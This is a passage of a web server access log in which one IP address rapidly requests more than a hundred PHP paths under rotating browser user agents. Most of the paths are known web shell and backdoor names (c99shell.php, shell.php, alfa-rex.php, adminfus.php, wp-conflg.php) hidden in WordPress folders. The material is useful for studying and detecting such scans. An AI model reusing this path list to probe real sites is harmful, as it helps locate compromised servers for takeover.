[19/Apr/2026:04:01:23 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:23 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:24 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:25 +0300] "GET /wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:26 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:27 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 